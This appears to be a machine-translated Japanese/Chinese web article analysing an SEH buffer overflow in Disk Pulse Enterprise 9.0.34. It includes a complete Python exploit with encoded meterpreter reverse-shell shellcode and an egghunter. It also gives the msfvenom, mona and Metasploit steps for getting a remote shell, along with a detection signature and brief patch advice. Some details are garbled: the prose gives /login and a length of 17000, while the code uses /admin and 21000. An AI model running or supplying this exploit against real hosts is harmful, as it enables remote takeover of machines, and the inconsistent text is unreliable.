目次
1. 脆弱性の紹介
2. 実験環境
3. 脆弱性分析
SEH の概要
Egghunter 概要
四、漏洞利用
五、漏洞利用特征:
六、防御建议
ホームページ 運用・保守 安全性 Disk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法

Disk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法

May 18, 2023 pm 03:04 PM
window disk pulse eneterprise

1. 脆弱性の紹介

Disk Pulse Enenterprise は、ディスクの変更を監視するソフトウェアであり、管理ポート 9120 または Web 管理ウィンドウ 80 を介してソフトウェアに接続して管理し、ディスクの変更を監視できます。 Disk Pulse Enterprise には、HTTP 操作を担当するいくつかの関数が含まれるダイナミック リンク ライブラリ libspp.dll があります。この問題は、このダイナミック リンク ライブラリで発生します。ポスト データを処理する際、ポスト データの長さは厳密に制御されていないため、これにより、取得したデータを実行する際に無効なメモリにデータがコピーされることでバッファオーバーフローが発生し、SEHの異常動作処理が引き起こされ、最終的にはEIPを制御して任意のコードを実行させてしまう。

ソフトウェア ダウンロード リンク: https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps) /a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)

脆弱性公開アドレス: https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits) /40452)

2. 実験環境

windows 7 x86: システム環境

IDA pro: 静的解析ツール

Immuneデバッガー: 脆弱性分析専用のデバッガー

WinDbg: 脆弱性デバッガー

3. 脆弱性分析

最初に、より包括的な POC を簡単に見てみましょう。バッファ オーバーフローの脆弱性が 1 つあります。この記事では、SEH 構造化例外ハンドラーと Egghunter テクノロジについて説明します。

SEH の概要

プログラミングに詳しい人は、ハードウェアおよびソフトウェアの例外を処理するためのウィンドウ メカニズムである構造化例外処理 (SEH) に精通しているかもしれません。これは通常、try/divide の合計の try/catch ブロックとして表現されます。

Egghunter 概要

簡単に言うと、マークをデザインして別のマークの位置にジャンプすることでシェルコードを実行するアドレッシング手法です。 Egghunter テクニックは、シェルコードをバッファに保存できない場合に必要です。

まず、POC を分析しましょう

#!/usr/bin/python
import socket
import sys

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.46.160',80))

#msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest
buf =  ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x92\xa7\xae\xd7\x5b\x29"
buf += "\xc9\xb1\x56\x31\x53\x18\x83\xc3\x04\x03\x53\x86\x45"
buf += "\x5b\x2b\x4e\x0b\xa4\xd4\x8e\x6c\x2c\x31\xbf\xac\x4a"
buf += "\x31\xef\x1c\x18\x17\x03\xd6\x4c\x8c\x90\x9a\x58\xa3"
buf += "\x11\x10\xbf\x8a\xa2\x09\x83\x8d\x20\x50\xd0\x6d\x19"
buf += "\x9b\x25\x6f\x5e\xc6\xc4\x3d\x37\x8c\x7b\xd2\x3c\xd8"
buf += "\x47\x59\x0e\xcc\xcf\xbe\xc6\xef\xfe\x10\x5d\xb6\x20"
buf += "\x92\xb2\xc2\x68\x8c\xd7\xef\x23\x27\x23\x9b\xb5\xe1"
buf += "\x7a\x64\x19\xcc\xb3\x97\x63\x08\x73\x48\x16\x60\x80"
buf += "\xf5\x21\xb7\xfb\x21\xa7\x2c\x5b\xa1\x1f\x89\x5a\x66"
buf += "\xf9\x5a\x50\xc3\x8d\x05\x74\xd2\x42\x3e\x80\x5f\x65"
buf += "\x91\x01\x1b\x42\x35\x4a\xff\xeb\x6c\x36\xae\x14\x6e"
buf += "\x99\x0f\xb1\xe4\x37\x5b\xc8\xa6\x5f\xa8\xe1\x58\x9f"
buf += "\xa6\x72\x2a\xad\x69\x29\xa4\x9d\xe2\xf7\x33\x94\xe5"
buf += "\x07\xeb\x1e\x65\xf6\x0c\x5e\xaf\x3d\x58\x0e\xc7\x94"
buf += "\xe1\xc5\x17\x18\x34\x73\x12\x8e\x77\x2b\x0c\xe5\x10"
buf += "\x29\x51\xe8\xbc\xa4\xb7\x5a\x6d\xe6\x67\x1b\xdd\x46"
buf += "\xd8\xf3\x37\x49\x07\xe3\x37\x80\x20\x8e\xd7\x7c\x18"
buf += "\x27\x41\x25\xd2\xd6\x8e\xf0\x9e\xd9\x05\xf0\x5f\x97"
buf += "\xed\x71\x4c\xc0\x89\x79\x8c\x11\x3c\x79\xe6\x15\x96"
buf += "\x2e\x9e\x17\xcf\x18\x01\xe7\x3a\x1b\x46\x17\xbb\x2d"
buf += "\x3c\x2e\x29\x11\x2a\x4f\xbd\x91\xaa\x19\xd7\x91\xc2"
buf += "\xfd\x83\xc2\xf7\x01\x1e\x77\xa4\x97\xa1\x21\x18\x3f"
buf += "\xca\xcf\x47\x77\x55\x30\xa2\x0b\x92\xce\x30\x24\x3b"
buf += "\xa6\xca\x74\xbb\x36\xa1\x74\xeb\x5e\x3e\x5a\x04\xae"
buf += "\xbf\x71\x4d\xa6\x4a\x14\x3f\x57\x4a\x3d\xe1\xc9\x4b"
buf += "\xb2\x3a\xfa\x36\xbb\xbd\xfb\xc6\xd5\xd9\xfc\xc6\xd9"
buf += "\xdf\xc1\x10\xe0\x95\x04\xa1\x57\xa5\x33\x84\xfe\x2c"
buf += "\x3b\x9a\x01\x65"

#pop pop ret 1001A333

nseh = "\xEB\x0B\x90\x90"
seh = "\x33\xA3\x01\x10"

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

evil =  "POST /admin  HTTP/1.1\r\n"
evil += "Host: 192.168.46.160\r\n"
evil += "User-Agent: Mozilla/5.0\r\n"
evil += "Connection: close\r\n"
evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
evil += "Accept-Language: en-us,en;q=0.5\r\n"
evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
evil += "Keep-Alive: 300\r\n"
evil += "Proxy-Connection: keep-alive\r\n"
evil += "Content-Type: application/x-www-form-urlencoded\r\n"
evil += "Content-Length: 21000\r\n\r\n"
evil += "\x41" * 12292 #subtract/add for payload
evil += "w00tw00t"
evil += "\x90" * 20
evil += buf
evil += "\x90" * 50
evil += "\x42" * 1554
evil += nseh
evil += seh
evil += "\x90" * 20
evil += egghunter
evil += "\x90" * 7000

print 'Sending evil buffer...'
s.send(evil)
print 'Payload Sent!'
s.close()
ログイン後にコピー

攻撃者は http リクエスト パッケージを作成しました。投稿リクエスト、URL は /login、コンテンツ長: 17000 であることがわかります。 12292 "\x41" バイトが送信され、次に "w00tw00t" 8 バイトが送信され、次に 20 "\x90" NOP バイトが送信され、その後 buf が送信され、さらに 50 NOP が送信されました。 1614 "\ "残っているのはバッファを埋めることだけです。

次に、Wen DBG を使用して、脆弱なバージョンのアプリケーションを開きます。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ペイロードを送信して脆弱性をトリガーします。 g を入力すると、戻りアドレスが上書きされ、kb は呼び出しのスタックを調べます。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ここでlibspp.dllのSCA_HttpParserのGetNextString関数を呼び出し、次にSHE異常動作処理に入り、SEHハンドラを上書きしてコード実行に至ります。

IDA を開いてポイント 10092822 を分析します。libspp の SCA_HttpParse クラスは、いくつかの HTTP 関連操作の処理を担当します。ポストデータの処理を担当する ExtractPostData という名前の関数があります。の入り口にブレークポイントを設定します。この機能。この関数のエントリ アドレスは 10092510

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

次の図に示すように、送信バッファは代替 POC を使用し、脆弱性を引き起こします。

# パラメータの転送状況を確認してください。後のデータは第 2 パラメータとして渡されます。完全に渡されていることに注意してください。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ここでシングルステップ追跡を続行し、前述の GetNetString 関数に到達します。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

この関数は 1 つのことを実行します。それは、後のデータである最初のパラメーターを分割し、後続の処理のために各部分を段階的に分離することです。初めて GetNextString を入力した後、最初のデータが分割されていることがわかります。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

ユーザー名が初めて分離されます。次に、もう一度 GetNextString を入力して、2 番目の文字列の分割を開始します。この分割プロセスにより、一連のコピー操作が実行されます。 如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

这个LOC块负责拷贝,其中10092822地址就是触发漏洞的关键位置,ESI是待拷贝的缓冲区首地址,EDX是拷贝长度,CL是拷贝内容,这里是一个字一个字拷贝的。

因此,当超过开辟缓冲区大小的时候,就会引发向无效地址拷贝的问题。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

看一下EDX + ESI的值,可以看到,后面已经超过了开辟缓冲区的大小,后面就是无效缓冲区了。

之后看一下ECX的值

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析CL就是将ECX的低地址一个字节一个字节拷贝,这里由于向无效地址拷贝,引发SEH异常处理,最后达到代码执行,来看一下伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析再来看一下GetNextString函数的伪代码。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

四、漏洞利用

首先发送poc,触发漏洞,使用免疫调试器,查看她链,被成功覆盖。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

我们需要找到SHE的偏移量。

利用蒙娜丽莎命令生成20000个字符

!mona pattern_create 20000
ログイン後にコピー

运行完在C:\日志\ FTPServer的\ pattern.txt中找到。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,将其加入到脚本中的BUF中运行

使用蒙娜丽莎命令来寻找SEH偏移量

!mona findmsp
ログイン後にコピー

查看蒙娜丽莎的控制台输出,找到它的描述SHE偏移量的部分。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

偏移量是14292。

接下来,要寻找pop pop ret的地址

使用!mona seh

打开seh.txt日志查找指向POP POP RET序列的代码块地址。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

设置的shellcode里面的

nseh =“\ xEB \ x0B \ x90 \ x90”seh =“\ x33 \ xA3 \ x01 \ x10”
ログイン後にコピー

利用msf生成通用的shellcode,命令如下

msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b'\ x00 \ x0a \ x0d \ x26'-f python -smallest
ログイン後にコピー

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

在POC中写入的shellcode,再写入过程中,要根据BUF的长度,修改后面偏移量的值。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

重启程序,打开的Metasploit

选择开发模式

输入命令,设置参数

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析发送poc,触发漏洞,查看metasploit反应,输入shell,可以连到到存在漏洞主机的shell。

如何实现Disk Pulse Eneterprise Window应用程序的漏洞分析

五、漏洞利用特征:

请求方式:POST

请求路径:/登录

漏洞特征:POST +任意路径+内容长度:> 14292+ | eb | +任意字节+ | 90 90 |

六、防御建议

升级应用程序,对应用程序打补丁或者下载新版本的应用程序,或者装载杀毒软件。

下载地址:https://www.diskpulse.com/downloads.html

以上がDisk Pulse Enterprise Windowアプリケーションの脆弱性解析の実施方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。

ホットAIツール

Undresser.AI Undress

Undresser.AI Undress

リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover

AI Clothes Remover

写真から衣服を削除するオンライン AI ツール。

Undress AI Tool

Undress AI Tool

脱衣画像を無料で

Clothoff.io

Clothoff.io

AI衣類リムーバー

AI Hentai Generator

AI Hentai Generator

AIヘンタイを無料で生成します。

ホットツール

メモ帳++7.3.1

メモ帳++7.3.1

使いやすく無料のコードエディター

SublimeText3 中国語版

SublimeText3 中国語版

中国語版、とても使いやすい

ゼンドスタジオ 13.0.1

ゼンドスタジオ 13.0.1

強力な PHP 統合開発環境

ドリームウィーバー CS6

ドリームウィーバー CS6

ビジュアル Web 開発ツール

SublimeText3 Mac版

SublimeText3 Mac版

神レベルのコード編集ソフト(SublimeText3)